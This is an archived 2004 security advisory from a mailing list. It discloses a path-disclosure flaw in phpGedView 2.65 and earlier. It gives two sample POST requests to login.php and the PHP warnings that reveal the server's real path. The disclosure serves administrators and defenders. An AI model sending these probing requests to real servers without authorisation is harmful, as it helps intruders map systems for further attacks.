[UNIX] PhpGedView Path Disclosure Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 01/26/04
- Previous message: SecuriTeam: "[TOOL] RECUB (Remote Encrypted Callback Unix Backdoor) Windows Port"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 26 Jan 2004 13:13:36 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
PhpGedView Path Disclosure Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://phpGedView.sourceforge.net> phpGedView is an open source system
for online viewing of Gedcom information (family tree and genology
information).
A security problem in the product allows attackers to gather the true path
of the server-side script.
DETAILS
Vulnerable Systems:
* phpGedView version 2.65 and prior
The login.php script is not testing if a variable which is supposed to be
POSTed has been defined before using it.
Example:
I - Path disclosure
-- HTTP Client Request --
http://target/phpGedView/login.php POST DATA: action=login
-- HTTP Client Request --
Username and password are missing and will generate an PHP error
message
displaying the Real Path.
-- HTTP Server Reply --
< br /> < b>Warning< /b>: Undefined index: username in
< b>/var/www/phpGedView/login.php< /b> on line < b>36< /b>< br /> < br />
< b>Warning< /b>: Undefined index: password in
< b>/var/www/phpGedView/login.php< /b> on line < b>36< /b>< br /> < br />
< b>Warning< /b>: Cannot add header information - headers already sent by
(output
started at /var/www/phpGedView/login.php:36) in
< b>/var/www/phpGedView/functions_print.php< /b> on line < b>492< /b>< br
/>
-- HTTP Server Reply --
-------------------------------------------
II - Path disclosure with a valid user account
-- HTTP Client Request --
http://target/phpGedView/login.php POST DATA:
action=login&url=editconfig.php&usertime=&username=admin&password=login
-- HTTP Client Request --
Username/password must be a valid couple. The usertime is missing and
will
generate an PHP error message displaying the Real Path.
-- HTTP Server Reply --
< br /> < b>Warning< /b>: strtotime() called with empty time parameter in
< b>/var/www/phpGedView/login.php< /b> on line < b>39< /b>< br< br /> <
b>Warning< /b>:
Cannot add header information - headers already sent by (output started at
/var/www/phpGedView/login.php:39) in < b>/var/www/phpGedView/login.php<
/b> on
line < b>44< /b>< br /> />
-- HTTP Server Reply --
Vendor Status:
The vendor has been notified and a release version 2.65.2 with fixes for
all the above mentioned vulnerabilities will be available soon.
ADDITIONAL INFORMATION
The information has been provided by <mailto:cco@netvigilance.com> Cedric
Cochin
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[TOOL] RECUB (Remote Encrypted Callback Unix Backdoor) Windows Port"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]